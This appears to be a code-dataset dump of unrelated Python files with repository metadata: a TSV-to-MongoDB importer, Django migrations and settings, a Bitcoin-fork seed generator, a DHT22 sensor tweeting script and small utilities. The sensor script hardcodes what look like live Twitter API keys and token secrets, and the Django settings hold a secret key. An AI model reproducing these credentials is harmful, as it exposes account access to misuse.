print(msg)
def iterate_tsv_rows(data_file):
file_path = data_file.path
with open(file_path, 'rb') as csvfile:
print('Processing ' + file_path)
csvreader = csv.DictReader(csvfile, delimiter='\t')
count = 0
skipped = 0
for row in csvreader:
try:
result = {}
for k,v in row.iteritems():
if k is None:
raise Exception("No key for value " + str(v))
result[k] = data_file.get_value(k, v)
yield result
count += 1
except Exception as e:
info_print(" Skipping row")
info_print(" Error: " + str(e))
info_print(" Content: " + str(row))
skipped += 1
print("Finished processing " + file_path)
info = '{0:10} rows inserted,'.format(count)
info += ' {0:10} row skipped'.format(skipped)
print(' ' + info)
def load_config_json(file_path):
json_file = open(file_path, 'rb')
data = json.load(json_file)
json_file.close()
return data
def connect_database(hostname, port):
connection = pymongo.Connection(hostname, port)
return connection
def run_import(import_config):
global DRY_RUN
host = import_config.host
port = import_config.port
# Try open connection first, exit in case of failure
conn = None
try:
conn = connect_database(host, port)
except pymongo.errors.ConnectionFailure:
print("Failed to connect to database at " + host + ":" + str(port))
sys.exit(1)
collection = conn[import_config.database][import_config.collection]
for file_info in import_config.files:
for row_obj in iterate_tsv_rows(file_info):
if not DRY_RUN:
collection.insert(row_obj)
conn.close()
def run_from_command_line_args(args):
run_config = None
try:
run_config = ImportConfig.fromargs(args)
except Exception as e:
print('Error while processing command line arguments: ' + str(e))
print('Quitting...')
sys.exit(1)
run_import(run_config)
def run_from_config_file(args):
run_config = None
try:
import_config = load_config_json(args.FILE[0])
run_config = ImportConfig.fromdict(import_config, file_process_fn=TypedTSV.fromdict)
except Exception as e:
print('Error while reading import configuration JSON: ' + str(e))
print('Quitting...')
sys.exit(1)
run_import(run_config)
def main():
mainparser = argparse.ArgumentParser(description="TSV to MongoDB import utility")
subparsers = mainparser.add_subparsers()
cmd_line_parser = subparsers.add_parser('import', help="Read all parameters from command line")
cmd_line_parser.add_argument('--host', required=True, help='Hostname')
cmd_line_parser.add_argument('--port', required=True, type=int, help='Port')
cmd_line_parser.add_argument('--db', required=True, help='Database name')
cmd_line_parser.add_argument('--collection', required=True, help='Collection name')
cmd_line_parser.add_argument('--quiet', required=False, action='store_true', help='If enabled, no printouts are done in case of parsing errors')
cmd_line_parser.add_argument('--dry-run', required=False, action='store_true', help='If enabled, no transactions are done to the database')
cmd_line_parser.add_argument('FILES', nargs=1, help='Path to TSV-file')
config_file_parser = subparsers.add_parser("from-json", help="Read data import configuration from a JSON-file")
config_file_parser.add_argument('--quiet', required=False, action='store_true', help='If enabled, no printouts are done in case of parsing errors')
config_file_parser.add_argument('--dry-run', required=False, action='store_true', help='If enabled, no transactions are done to the database')
config_file_parser.add_argument('FILE', nargs=1, help='Path to configuration JSON-file')
args = mainparser.parse_args()
if args.quiet is True:
global TOGGLE_QUIET
TOGGLE_QUIET = True
if args.dry_run is True:
global DRY_RUN
DRY_RUN = True
if 'FILES' in args:
run_from_command_line_args(args)
else:
run_from_config_file(args)
if __name__ == "__main__":
main()
| [
"[email protected]"
] | |
6e4564eb9e4e12feadf1352e7bb7ff5cef2ce99f | 06f0ae3ecaaf47b1c23e231838afa524d8446f5e | /sports/mlb/migrations/0016_auto_20160722_1507.py | 49e69e4a1c4d81bdbec93111e2772b4742493b4f | [] | no_license | nakamotohideyoshi/draftboard-web | c20a2a978add93268617b4547654b89eda11abfd | 4796fa9d88b56f80def011e2b043ce595bfce8c4 | refs/heads/master | 2022-12-15T06:18:24.926893 | 2017-09-17T12:40:03 | 2017-09-17T12:40:03 | 224,877,650 | 0 | 0 | null | 2022-12-08T00:02:57 | 2019-11-29T15:20:17 | Python | UTF-8 | Python | false | false | 413 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-22 19:07
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('mlb', '0015_livefeed'),
]
operations = [
migrations.RenameField(
model_name='livefeed',
old_name='at_bat',
new_name='data',
),
]
| [
"[email protected]"
] | |
00e145376c262a28615cb8d59e9c20236616f731 | be085fd1025948e5e07e84a1fbb9f26bf43ad72b | /superauto/assets/migrations/0009_myprofile.py | 1814b366064ad9dcfcdab731a1121a2bcc0179e5 | [] | no_license | zjleifeng/xmktzcdb | e048f8a197662e9b05e69f53937c02b4c891aef2 | 044447eeb5b1390680af5af1c94a4d528a51759e | refs/heads/master | 2021-01-18T20:34:49.152074 | 2016-11-29T10:19:44 | 2016-11-29T10:19:44 | 72,193,803 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,457 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
import easy_thumbnails.fields
import userena.models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('assets', '0008_auto_20161124_1505'),
]
operations = [
migrations.CreateModel(
name='MyProfile',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('mugshot', easy_thumbnails.fields.ThumbnailerImageField(help_text='A personal image displayed in your profile.', upload_to=userena.models.upload_to_mugshot, verbose_name='mugshot', blank=True)),
('privacy', models.CharField(default=b'registered', help_text='Designates who can view your profile.', max_length=15, verbose_name='privacy', choices=[(b'open', 'Open'), (b'registered', 'Registered'), (b'closed', 'Closed')])),
('favourite_snack', models.CharField(max_length=5, verbose_name='favourite snack')),
('user', models.OneToOneField(related_name='my_profile', verbose_name='\u7528\u6237', to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
'permissions': (('view_profile', 'Can view profile'),),
},
),
]
| [
"[email protected]"
] | |
dadce4c547ea2d88748d9099526b4c92708134c8 | 995a223a56f688b7bf9c536112ce64f1ed6280ed | /Post/migrations/0001_initial.py | 420e57732b005d591fb30dd61a1373c1139ed063 | [] | no_license | AnkitTiwari1/Django-project | 7e0538c661daf8ca4ffde14cee4766f5879bf274 | 4daea1d5326cae3491d7fda69f59e61717c9cd19 | refs/heads/master | 2020-07-28T08:17:15.308020 | 2019-09-18T17:32:55 | 2019-09-18T17:32:55 | 209,361,860 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 792 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.10 on 2019-07-21 19:55
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Post',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('author', models.CharField(max_length=100)),
('date', models.DateField(auto_now_add=True)),
('post', models.TextField()),
('file', models.FileField(blank=True, upload_to='')),
],
),
]
| [
"[email protected]"
] | |
5e02fd278031ec3ccf85ba74aac04e350f380592 | a4296208d784e555fb047d0731a8b64712b5d5c2 | /homework/homework_day02/rok przestepny.py | 12304565a77d0b038acc2c07166f96a2fc457183 | [] | no_license | MartaDobrocinska/Kurs_python | 73cf74d1f7dde54d51d0164a43cfb557bce17e17 | 6d521ddb5ca4b53f29aa96c431f0897a213a18a4 | refs/heads/master | 2021-02-13T19:15:37.614411 | 2020-04-21T19:57:47 | 2020-04-21T19:57:47 | 244,723,552 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 245 | py | rok = int(input("Podaj rok: "))
if rok % 4 == 0 and rok % 100 != 0:
print("Podany rok",rok,"jest przestępny.")
elif rok % 400 == 0:
print("Podany rok", rok, "jest przestępny.")
else:
print("Podany rok",rok,"nie jest przestępny.")
| [
"[email protected]"
] | |
ddf25754273c5414a5f28279171886d2bb6d5f1b | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /dEokmCfykvXgcJ3pi_15.py | c70b1c19f68cfff6d68feb941e8d4f469244949c | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 158 | py |
def first_arg(*args):
if not args: return None
else: return args[0]
def last_arg(*args):
if not args: return None
else: return args[-1]
| [
"[email protected]"
] | |
0ad2199a595994a93a252978280789c5ebf9d2d6 | be79e3e2467ebe3031fa84bb8b5c45da68052966 | /HW3/read_data.py | 109f155fb9705930b675d699eb882b3596106dcc | [
"MIT"
] | permissive | atenagm1375/bio-inspired_computing | 7aefb9bb976c0604022d54ffee1af1e3cf666a8a | 439bed89877d2c887f3138847659390956b4bed6 | refs/heads/master | 2020-04-02T13:26:38.793608 | 2019-02-01T06:36:14 | 2019-02-01T06:36:14 | 154,481,288 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 823 | py | def read_data(folder="./DATA/", file_name="bayg29.tsp"):
file = open(folder + file_name, 'r')
for line in file:
l = line.strip('\n').split("DIMENSION: ", 1)
if len(l) > 1:
n = int(l[1]) - 1
break
# n = int(file.readline().strip('\n').split("enter a dimention of matrix :", 1)[1])
distances = [[0 for i in range(n+1)] for j in range(n+1)]
cities = list(range(n))
for line in file:
if line.strip('\n') == "EDGE_WEIGHT_SECTION":
print("yes")
break
for i in range(n):
row = list(filter(('').__ne__, file.readline().strip("\n").split(' ')))[::-1]
for j in range(len(row)):
distances[i][j+1+i] = int(row[j])
distances[j+1+i][i] = int(row[j])
file.close()
return cities, distances
| [
"[email protected]"
] | |
2096785495cc81dfee5c4538f05923ff9c07db2e | 3d7337008f15a718a15560ce8cc351b825e3e678 | /Bravo/contrib/seeds/makeseeds.py | 90f4c848695500d28733cddd243362786ffc0f9b | [
"MIT"
] | permissive | NewBravoCoin/Bravo | e48e064876ab4183fe1ba3f640f580ec3e11e689 | f5bdf0f81d7924d0e3d4770f27bf99d5a415a8c8 | refs/heads/master | 2020-03-27T05:16:37.593844 | 2018-08-24T15:16:33 | 2018-08-24T15:16:33 | 146,007,550 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,513 | py | #!/usr/bin/env python3
# Copyright (c) 2013-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Generate seeds.txt from Pieter's DNS seeder
#
NSEEDS=512
MAX_SEEDS_PER_ASN=2
MIN_BLOCKS = 615801
# These are hosts that have been observed to be behaving strangely (e.g.
# aggressively connecting to every node).
SUSPICIOUS_HOSTS = {
""
}
import re
import sys
import dns.resolver
import collections
PATTERN_IPV4 = re.compile(r"^((\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})):(\d+)$")
PATTERN_IPV6 = re.compile(r"^\[([0-9a-z:]+)\]:(\d+)$")
PATTERN_ONION = re.compile(r"^([abcdefghijklmnopqrstuvwxyz234567]{16}\.onion):(\d+)$")
PATTERN_AGENT = re.compile(r"^(/BRVCore:2.2.(0|1|99)/)$")
def parseline(line):
sline = line.split()
if len(sline) < 11:
return None
m = PATTERN_IPV4.match(sline[0])
sortkey = None
ip = None
if m is None:
m = PATTERN_IPV6.match(sline[0])
if m is None:
m = PATTERN_ONION.match(sline[0])
if m is None:
return None
else:
net = 'onion'
ipstr = sortkey = m.group(1)
port = int(m.group(2))
else:
net = 'ipv6'
if m.group(1) in ['::']: # Not interested in localhost
return None
ipstr = m.group(1)
sortkey = ipstr # XXX parse IPv6 into number, could use name_to_ipv6 from generate-seeds
port = int(m.group(2))
else:
# Do IPv4 sanity check
ip = 0
for i in range(0,4):
if int(m.group(i+2)) < 0 or int(m.group(i+2)) > 255:
return None
ip = ip + (int(m.group(i+2)) << (8*(3-i)))
if ip == 0:
return None
net = 'ipv4'
sortkey = ip
ipstr = m.group(1)
port = int(m.group(6))
# Skip bad results.
if sline[1] == 0:
return None
# Extract uptime %.
uptime30 = float(sline[7][:-1])
# Extract Unix timestamp of last success.
lastsuccess = int(sline[2])
# Extract protocol version.
version = int(sline[10])
# Extract user agent.
if len(sline) > 11:
agent = sline[11][1:] + sline[12][:-1]
else:
agent = sline[11][1:-1]
# Extract service flags.
service = int(sline[9], 16)
# Extract blocks.
blocks = int(sline[8])
# Construct result.
return {
'net': net,
'ip': ipstr,
'port': port,
'ipnum': ip,
'uptime': uptime30,
'lastsuccess': lastsuccess,
'version': version,
'agent': agent,
'service': service,
'blocks': blocks,
'sortkey': sortkey,
}
def filtermultiport(ips):
'''Filter out hosts with more nodes per IP'''
hist = collections.defaultdict(list)
for ip in ips:
hist[ip['sortkey']].append(ip)
return [value[0] for (key,value) in list(hist.items()) if len(value)==1]
# Based on Greg Maxwell's seed_filter.py
def filterbyasn(ips, max_per_asn, max_total):
# Sift out ips by type
ips_ipv4 = [ip for ip in ips if ip['net'] == 'ipv4']
ips_ipv6 = [ip for ip in ips if ip['net'] == 'ipv6']
ips_onion = [ip for ip in ips if ip['net'] == 'onion']
# Filter IPv4 by ASN
result = []
asn_count = {}
for ip in ips_ipv4:
if len(result) == max_total:
break
try:
asn = int([x.to_text() for x in dns.resolver.query('.'.join(reversed(ip['ip'].split('.'))) + '.origin.asn.cymru.com', 'TXT').response.answer][0].split('\"')[1].split(' ')[0])
if asn not in asn_count:
asn_count[asn] = 0
if asn_count[asn] == max_per_asn:
continue
asn_count[asn] += 1
result.append(ip)
except:
sys.stderr.write('ERR: Could not resolve ASN for "' + ip['ip'] + '"\n')
# TODO: filter IPv6 by ASN
# Add back non-IPv4
result.extend(ips_ipv6)
result.extend(ips_onion)
return result
def main():
lines = sys.stdin.readlines()
ips = [parseline(line) for line in lines]
# Skip entries with valid address.
ips = [ip for ip in ips if ip is not None]
# Skip entries from suspicious hosts.
ips = [ip for ip in ips if ip['ip'] not in SUSPICIOUS_HOSTS]
# Enforce minimal number of blocks.
ips = [ip for ip in ips if ip['blocks'] >= MIN_BLOCKS]
# Require service bit 1.
ips = [ip for ip in ips if (ip['service'] & 1) == 1]
# Require at least 50% 30-day uptime.
ips = [ip for ip in ips if ip['uptime'] > 50]
# Require a known and recent user agent.
ips = [ip for ip in ips if PATTERN_AGENT.match(re.sub(' ', '-', ip['agent']))]
# Sort by availability (and use last success as tie breaker)
ips.sort(key=lambda x: (x['uptime'], x['lastsuccess'], x['ip']), reverse=True)
# Filter out hosts with multiple bitcoin ports, these are likely abusive
ips = filtermultiport(ips)
# Look up ASNs and limit results, both per ASN and globally.
ips = filterbyasn(ips, MAX_SEEDS_PER_ASN, NSEEDS)
# Sort the results by IP address (for deterministic output).
ips.sort(key=lambda x: (x['net'], x['sortkey']))
for ip in ips:
if ip['net'] == 'ipv6':
print('[%s]:%i' % (ip['ip'], ip['port']))
else:
print('%s:%i' % (ip['ip'], ip['port']))
if __name__ == '__main__':
main()
| [
"none"
] | none |
03f79d01286e5d061101e15979f8cb6e8522f4fd | aae03454f98ad0ee9e9d27bc701568b0d8a6ce00 | /test.py | 262829cde4fc6ce20551a082d63580205558f8cf | [] | no_license | misabnll/juego-python | a6ad66e1be5fdc16374cdf6b7a8a3df2f11319b0 | 887fc4a1726883a5674de706a9d56037e6aa1bab | refs/heads/master | 2021-09-14T17:36:49.448911 | 2018-05-16T19:43:48 | 2018-05-16T19:43:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 64 | py | # -*- coding: utf-8 -*-
print("hola mundo")
print("hola a todo") | [
"[email protected]"
] | |
72300211aa41cb9a9b0de0203df24494a6548dee | e7e62e607eb857e8c49687d43a44b0f60444fc8e | /examples/acados_python/Unicycle/utils.py | 44031cdb92198e4e167e96b65ad414f169dfc264 | [
"BSD-2-Clause"
] | permissive | dkouzoup/acados | c928534ac80c006c8ca7c12ab7a53c926df2819d | 1b5b77f060e381f4229b34ff8145cdb26b04ea44 | refs/heads/master | 2022-12-05T21:19:04.909952 | 2022-11-28T12:21:03 | 2022-11-28T12:21:03 | 75,648,946 | 0 | 0 | null | 2018-03-13T14:24:19 | 2016-12-05T17:19:23 | C | UTF-8 | Python | false | false | 2,993 | py | import os
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
def plot_robot(
shooting_nodes,
u_max,
U,
X_true,
X_est=None,
Y_measured=None,
latexify=False,
plt_show=True,
X_true_label=None,
):
"""
Params:
shooting_nodes: time values of the discretization
u_max: maximum absolute value of u
U: arrray with shape (N_sim-1, nu) or (N_sim, nu)
X_true: arrray with shape (N_sim, nx)
X_est: arrray with shape (N_sim-N_mhe, nx)
Y_measured: array with shape (N_sim, ny)
latexify: latex style plots
"""
# latexify plot
if latexify:
params = {
"backend": "ps",
"text.latex.preamble": r"\usepackage{gensymb} \usepackage{amsmath}",
"axes.labelsize": 10,
"axes.titlesize": 10,
"legend.fontsize": 10,
"xtick.labelsize": 10,
"ytick.labelsize": 10,
"text.usetex": True,
"font.family": "serif",
}
matplotlib.rcParams.update(params)
WITH_ESTIMATION = X_est is not None and Y_measured is not None
N_sim = X_true.shape[0]
nx = X_true.shape[1]
nu = U.shape[1]
Tf = shooting_nodes[N_sim - 1]
t = shooting_nodes
Ts = t[1] - t[0]
if WITH_ESTIMATION:
N_mhe = N_sim - X_est.shape[0]
t_mhe = np.linspace(N_mhe * Ts, Tf, N_sim - N_mhe)
control_lables = ["$F$", "$T$"]
for i in range(nu):
plt.subplot(nx + nu, 1, i+1)
# line, = plt.step(t, np.append([U[0]], U))
# line, = plt.plot(t, U[:, 0], label='U')
(line,) = plt.step(t, np.append([U[0, i]], U[:, i]))
# (line,) = plt.step(t, np.append([U[0, 0]], U[:, 0]))
if X_true_label is not None:
line.set_label(X_true_label)
else:
line.set_color("r")
# plt.title('closed-loop simulation')
plt.ylabel(control_lables[i])
plt.xlabel("$t$")
if u_max[i] is not None:
plt.hlines(u_max[i], t[0], t[-1], linestyles="dashed", alpha=0.7)
plt.hlines(-u_max[i], t[0], t[-1], linestyles="dashed", alpha=0.7)
plt.ylim([-1.2 * u_max[i], 1.2 * u_max[i]])
plt.grid()
states_lables = ["$x$", "$y$", "$v$", "$theta$", "$thetad$"]
for i in range(nx):
plt.subplot(nx + nu, 1, i + nu+1)
(line,) = plt.plot(t, X_true[:, i], label="true")
if X_true_label is not None:
line.set_label(X_true_label)
if WITH_ESTIMATION:
plt.plot(t_mhe, X_est[:, i], "--", label="estimated")
plt.plot(t, Y_measured[:, i], "x", label="measured")
plt.ylabel(states_lables[i])
plt.xlabel("$t$")
plt.grid()
plt.legend(loc=1)
plt.subplots_adjust(left=None, bottom=None, right=None, top=None, hspace=0.4)
# avoid plotting when running on Travis
if os.environ.get("ACADOS_ON_CI") is None and plt_show:
plt.show()
| [
"[email protected]"
] | |
a2294881c73700503fc1cf60ad242364ae8ab8ef | 81e706b69c789aff05691c41fa79156942927f82 | /site-packages/tensorflow/_api/v1/train/experimental/__init__.py | 4ed74fc8020f54a44b4e17a9b2127a87b0be7af1 | [] | no_license | yoncho/OpenCV-code | f5a1091ef32f3c8c3254ab93e083950b84c4fabd | bda2f793b11462e67c7ab644b342beffb871e3de | refs/heads/master | 2023-03-30T12:01:23.521511 | 2021-04-01T13:45:44 | 2021-04-01T13:45:44 | 291,398,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,213 | py | # This file is MACHINE GENERATED! Do not edit.
# Generated by: tensorflow/python/tools/api/generator/create_python_api.py script.
"""Public API for tf.train.experimental namespace.
"""
from __future__ import print_function as _print_function
from tensorflow.python.training.experimental.loss_scale import DynamicLossScale
from tensorflow.python.training.experimental.loss_scale import FixedLossScale
from tensorflow.python.training.experimental.loss_scale import LossScale
from tensorflow.python.training.experimental.loss_scale_optimizer import MixedPrecisionLossScaleOptimizer
from tensorflow.python.training.experimental.mixed_precision import disable_mixed_precision_graph_rewrite
from tensorflow.python.training.experimental.mixed_precision import enable_mixed_precision_graph_rewrite
from tensorflow.python.training.tracking.python_state import PythonState
del _print_function
import sys as _sys
from tensorflow.python.util import deprecation_wrapper as _deprecation_wrapper
if not isinstance(_sys.modules[__name__], _deprecation_wrapper.DeprecationWrapper):
_sys.modules[__name__] = _deprecation_wrapper.DeprecationWrapper(
_sys.modules[__name__], "train.experimental")
| [
"[email protected]"
] | |
418d11176c3bfad5531cf1f2a746f2f572a9c2b7 | d90e093d0f47e9938d3f7a4089fc41dbdaf157a0 | /cookieDHT22.py | bf98f75f46d3e007df8bf60ace2a4d6d044c2b6f | [] | no_license | nehasprasad/Pitemp | fcaa48f5edbad4d0777a1e24257e0ed0cf66a326 | 8cf300697755ba5ba53583b00e8d2bfd79571119 | refs/heads/master | 2020-06-23T19:45:39.641859 | 2016-11-24T05:08:16 | 2016-11-24T05:08:16 | 74,639,207 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,097 | py | #! /usr/bin/env python
import pigpio
import DHT22
import tweepy
from time import sleep
from datetime import datetime
import sqlite3
conn = sqlite3.connect('tweepy.db')
c = conn.cursor()
API_KEY = 'WIDmeDxaao1Aaj7RLHcXopxoY'
API_SECRET = '7hpRCUwESJcLSm75qNJy10Wtii87W9J7uYyFBF3YgFcekpqZil'
ACCESS_TOKEN = '792094452776972289-FAEZpkgosa6rq2d6NTSUqVBE3R4cgas'
ACCESS_TOKEN_SECRET = 'vWxytTUJ0IVYj3hL9BnTd5ziz8yZIQo8bVSxTXAGTTT8t'
auth = tweepy.OAuthHandler(API_KEY, API_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)
api = tweepy.API(auth)
#Initiate GPIO for pigpio
pi=pigpio.pi()
#Setup the sensor
dht22=DHT22.sensor(pi, 4) #use the actual GPIO pin name
dht22.trigger() #grab the first junk reading
sleepTime=3 #should be above 2 second
SlpTime=120
def readDHT22() :
dht22.trigger()
humidity = '%.2f' % (dht22.humidity())
temp = '%.2f' % (dht22.temperature())
return (humidity,temp)
while 1:
TEMP1,TEMP2 = readDHT22()
sleep(sleepTime)
TEMP1,TEMP2 =readDHT22()
sleep(sleepTime)
humidity,temperature = readDHT22()
print("Humidity is : " +humidity + "%")
print("Temperature is: " + temperature + "C")
thetime = datetime.now().strftime('%-I:%M%P on %d-%m-%Y')
sleep(sleepTime)
humidity = float(humidity)
temperature = float(temperature)
if humidity > 60.00 and humidity < 70.00:
h="Humidity is good"
elif humidity < 60.00:
h="Humidity is low"
elif humidity > 70.00:
h="Humidity is high"
if temperature > 16.00 and temperature < 22.00:
t="Temperature is good for fertilisation"
elif temperature > 20.00 and temperature < 35.00:
t="Temperature is good for harvest"
elif temperature < 16.00:
t="Temp too low"
elif temperature > 35.00:
t="Temp too high"
humidity = str(humidity)
temperature = str(temperature)
print(h)
print(t)
c.execute("INSERT INTO analysis(date, temp, condition1, humidity, condition2) VALUES (?,?,?,?,?)",(thetime,temperature,t,humidity,h))
api.update_status("Temperature: "+temperature +"C "+t+"\n"+"Humidity: "+humidity+"% "+h+" at "+thetime)
conn.commit()
sleep(SlpTime)
conn.close()
| [
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] | |
c735ec69713f419d9735b007dd2746f56d78ad77 | b616f2c54b04e5ab09a11a9153e0f5e5c005add2 | /backend/core/migrations/0003_auto_20161230_0232.py | b7dd10b966c20f4fa8daad264fe9017629291b41 | [
"BSD-2-Clause"
] | permissive | getlinky/linky | 34bfb0afa0d6170ac87535545b4633515ef9ae4e | fe76df7149a0d15818bf5904e66e98a2e9affeb7 | refs/heads/master | 2021-09-06T17:30:44.825157 | 2018-02-09T02:48:16 | 2018-02-09T02:48:16 | 72,317,205 | 5 | 1 | BSD-2-Clause | 2018-02-06T02:48:54 | 2016-10-30T00:48:37 | Vue | UTF-8 | Python | false | false | 627 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2016-12-30 02:32
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0002_auto_20161219_2338'),
]
operations = [
migrations.AlterField(
model_name='link',
name='description',
field=models.CharField(blank=True, max_length=200),
),
migrations.AlterField(
model_name='link',
name='title',
field=models.CharField(blank=True, max_length=200),
),
]
| [
"[email protected]"
] | |
360be08c9755bb0b468f3ab1dcf4727b23eaa670 | ab9a22af433f35a9a85d07665e82fa36ce85efe3 | /vengine-3e869c88d7e5987dacc23f7bf2baa701c96c08a2/vapi/apps.py | ddb8cee49aa56225eeae6035ed0a6553611d1093 | [] | no_license | linqd1/driveless | a32d7743a292df6a1016eacf288779465e34eef0 | 22ab1d42723699927740470ae8be43048382b8ed | refs/heads/master | 2023-01-29T11:48:24.720415 | 2019-09-15T10:46:18 | 2019-09-15T10:46:18 | 208,528,438 | 0 | 0 | null | 2023-01-04T10:28:23 | 2019-09-15T01:57:42 | Rust | UTF-8 | Python | false | false | 83 | py | from django.apps import AppConfig
class VapiConfig(AppConfig):
name = 'vapi'
| [
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] | |
e1899d620a7e9a8753f5c7cf7ec4d82bfbb8cd91 | 2b016c3edbe6fc31b65f9a891f8e3dad37448444 | /pfe/settings.py | 858ec250a7a7af8896f802c113bf0ffe25c2bff4 | [] | no_license | skander95/TEST0 | 0d9089fe57ba529c4808446022ab369f51759f65 | 6a6154aab2e51e5a540e5b7dde5f58e24b0a3238 | refs/heads/master | 2023-06-10T18:47:59.256016 | 2021-07-04T17:06:47 | 2021-07-04T17:06:47 | 382,910,037 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,230 | py | """
Django settings for pfe project.
Generated by 'django-admin startproject' using Django 3.2.5.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure-i1l91wtsgdpiwhj)5g&*y4_&rv%qg=6^0+3z@(#oxvp*bs(v1o'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'pfe.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'pfe.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.2/howto/static-files/
STATIC_URL = '/static/'
# Default primary key field type
# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
| [
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] | |
0d8f9888ec55b97cbf2c3d516105c5bb977ca2da | 3934617c92d9c28653009231c86bcf52b7a1167c | /matrixMulti.py | f1f4275a1ab05455b470d9bb1c1499e766b041af | [] | no_license | jamiejamiebobamie/ds-2.2-class-repo | d0f26e39d1ab5c355934b169bb4025beb11b33cd | f40e6aa0ed11d46966e722bc9ab43b17bae05bf6 | refs/heads/master | 2020-08-30T11:48:46.792289 | 2019-11-19T01:37:29 | 2019-11-19T01:37:29 | 218,371,294 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py |
import numpy as np
matrix = [[2,0],[1,3]] # 2,2
vector = [[4,5]] # 2,1
# [a1][a2] * [b1][b2] = [a1][b2]
# dot product
def dot(a,b):
shape = np.shape(a)
b = np.reshape(b,*shape)
return np.dot(a,b)
# element-wise multiplication
def multi(a,b):
if np.shape(a) == np.shape(b):
return np.multiply(a,b)
else:
return "Input must be of the same shapes."
print(multi(vector,vector))
print(dot(matrix,vector))
| [
"[email protected]"
] | |
f7e15f1ea1931b695fab195e88ff7526896b8cd3 | 0d122ee6615b53167f18b96f4fe16179135d5359 | /cassie/accounts/models/accounts.py | b4c0d9bf81438e91f157906ba8fe3ad2d21daf41 | [] | no_license | sgg10/cassie_backend | 383e1d426fa337cee6de429a4d94dc62beb966e6 | 8acacb30470626e7f009cd1ca36ad8fe2d3b1286 | refs/heads/master | 2023-05-13T17:45:16.699646 | 2021-05-30T00:05:39 | 2021-05-30T00:05:39 | 372,090,778 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 700 | py | """Accounts models."""
# Django
from django.db import models
# Utilities
from cassie.utils.models import CassieModel
class Account(CassieModel):
"""Account model.
An account object is a Trading account in MetaTrader4.
Each account is associated with a license and
occupies an available space from this.
"""
